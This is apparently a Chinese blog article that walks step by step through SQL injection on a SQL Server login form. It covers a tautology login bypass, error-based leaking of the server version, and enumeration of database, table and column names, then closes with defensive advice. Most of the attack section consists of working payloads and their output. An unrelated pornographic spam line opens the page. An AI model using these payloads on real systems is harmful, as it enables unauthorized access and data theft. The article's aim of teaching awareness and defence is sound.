欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

SQL注入全過(guò)程深入分析

 更新時(shí)間:2016年07月18日 15:47:00   作者:wjtlht928  
這篇文章主要介紹了SQL注入全過(guò)程,由淺入深的分析了SQL注入的全過(guò)程及相關(guān)的注意事項(xiàng),需要的朋友可以參考下

本文分析了SQL注入全過(guò)程。分享給大家供大家參考,具體如下:

初步注入--繞過(guò)驗(yàn)證,直接登錄

公司網(wǎng)站登陸框如下:

可以看到除了賬號(hào)密碼之外,還有一個(gè)公司名的輸入框,根據(jù)輸入框的形式不難推出SQL的寫(xiě)法如下:

復(fù)制代碼 代碼如下:
SELECT * From Table WHERE Name='XX' and Password='YY' and Corp='ZZ'

我發(fā)現(xiàn)前兩者都做一些檢查,而第三個(gè)輸入框卻疏忽了,漏洞就在這里!注入開(kāi)始,在輸入框中輸入以下內(nèi)容:

用戶名亂填,密碼留空,這種情況下點(diǎn)擊登錄按鈕后竟然成功登錄了。

我們看一下最終的SQL就會(huì)找到原因:

復(fù)制代碼 代碼如下:
SELECT * From Table WHERE Name='SQL inject' and Password='' and Corp='' or 1=1--'

從代碼可以看出,前一半單引號(hào)被閉合,后一半單引號(hào)被 “--”給注釋掉,中間多了一個(gè)永遠(yuǎn)成立的條件“1=1”,這就造成任何字符都能成功登錄的結(jié)果。而Sql注入的危害卻不僅僅是匿名登錄。

中級(jí)注入--借助異常獲取信息

現(xiàn)在我們?cè)诘谌齻€(gè)輸入框中寫(xiě)入:

‘or 1=(SELECT @@version) –

如下:

后臺(tái)的SQL變成了這樣:

SELECT * From Table WHERE Name='SQL inject' and Password='' and Corp=''
or 1=(SELECT @@VERSION)--'

判斷條件變成了1=(SELECT @@VERSION),

這個(gè)寫(xiě)法肯定會(huì)導(dǎo)致錯(cuò)誤,但出錯(cuò)正是我們想要的。點(diǎn)擊登錄后,頁(yè)面出現(xiàn)以下信息:

Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2008 (SP3) - 10.0.5500.0 (X64) Sep 21 2011 22:45:45
Copyright (c) 1988-2008 Microsoft Corporation Developer Edition (64-bit)
on Windows NT 6.1 <X64> (Build 7601: Service Pack 1) ' to data type int.

可怕的事情出現(xiàn)了,服務(wù)器的操作系統(tǒng)和SQL Server版本信息竟然通過(guò)錯(cuò)誤顯示出來(lái)。

危害擴(kuò)大--獲取服務(wù)器所有的庫(kù)名、表名、字段名

接著,我們?cè)谳斎肟蛑休斎肴缦滦畔ⅲ?br />

復(fù)制代碼 代碼如下:
t' or 1=(SELECT top 1 name FROM master..sysdatabases where name not in (SELECT top 0 name FROM master..sysdatabases))--

此時(shí)發(fā)現(xiàn)第三個(gè)輸入框有字?jǐn)?shù)長(zhǎng)度的限制,然而這種客戶端的限制形同虛設(shè),

直接通過(guò)Google瀏覽器就能去除。

點(diǎn)擊登錄,返回的信息如下:

Conversion failed when converting the nvarchar value 'master' to data type int.

數(shù)據(jù)庫(kù)名稱(chēng)“master”通過(guò)異常被顯示出來(lái)!依次改變上面SQL語(yǔ)句中的序號(hào),

就能得到服務(wù)器上所有數(shù)據(jù)庫(kù)的名稱(chēng)。

接著,輸入信息如下:

復(fù)制代碼 代碼如下:
b' or 1=(SELECT top 1 name FROM master..sysobjects where xtype='U' and name not in (SELECT top 1 name FROM master..sysobjects where xtype='U'))--

得到返回信息如下:

Conversion failed when converting the nvarchar value 'spt_fallback_db' to data type int.

我們得到了master數(shù)據(jù)庫(kù)中的第一張表名:“spt_fallback_db”,

同上,依次改變序號(hào),可得到該庫(kù)全部表名。

現(xiàn)在我們以“spt_fallback_db”表為例,嘗試獲取該表中所有的字段名。在輸入框中輸入以下代碼:

復(fù)制代碼 代碼如下:
b' or 1=(SELECT top 1 master..syscolumns.name FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='spt_fallback_db');

于是,得到錯(cuò)誤提示如下:

"Conversion failed when converting the nvarchar value 'xserver_name' to data type int.";

這樣第一個(gè)字段名“xserver_name”就出來(lái)了,依次改變序號(hào),就能遍歷出所有的字段名。

最終目的--獲取數(shù)據(jù)庫(kù)中的數(shù)據(jù)

寫(xiě)到這里,我們已知通過(guò)SQL注入能獲取全部的數(shù)據(jù)庫(kù),表,及其字段,為了防止本文完全淪為注入教程,獲取數(shù)據(jù)的代碼就不再描述,而這篇文章的目的也已達(dá)到,SQL注入意味著什么?意味著數(shù)據(jù)庫(kù)中所有數(shù)據(jù)都能被盜取。

當(dāng)知道這個(gè)危害以后,是否還能有人對(duì)SQL注入漏洞置之不理?

結(jié)語(yǔ)

關(guān)于安全性,本文可總結(jié)出一下幾點(diǎn):

1. 對(duì)用戶輸入的內(nèi)容要時(shí)刻保持警惕。
2. 只有客戶端的驗(yàn)證等于沒(méi)有驗(yàn)證。
3. 永遠(yuǎn)不要把服務(wù)器錯(cuò)誤信息暴露給用戶。

除此之外,我還要補(bǔ)充幾點(diǎn):

1. SQL注入不僅能通過(guò)輸入框,還能通過(guò)Url達(dá)到目的。
2. 除了服務(wù)器錯(cuò)誤頁(yè)面,還有其他辦法獲取到數(shù)據(jù)庫(kù)信息。
3. 可通過(guò)軟件模擬注入行為,這種方式盜取信息的速度要比你想象中快的多。
4. 漏洞跟語(yǔ)言平臺(tái)無(wú)關(guān)。

相關(guān)文章

最新評(píng)論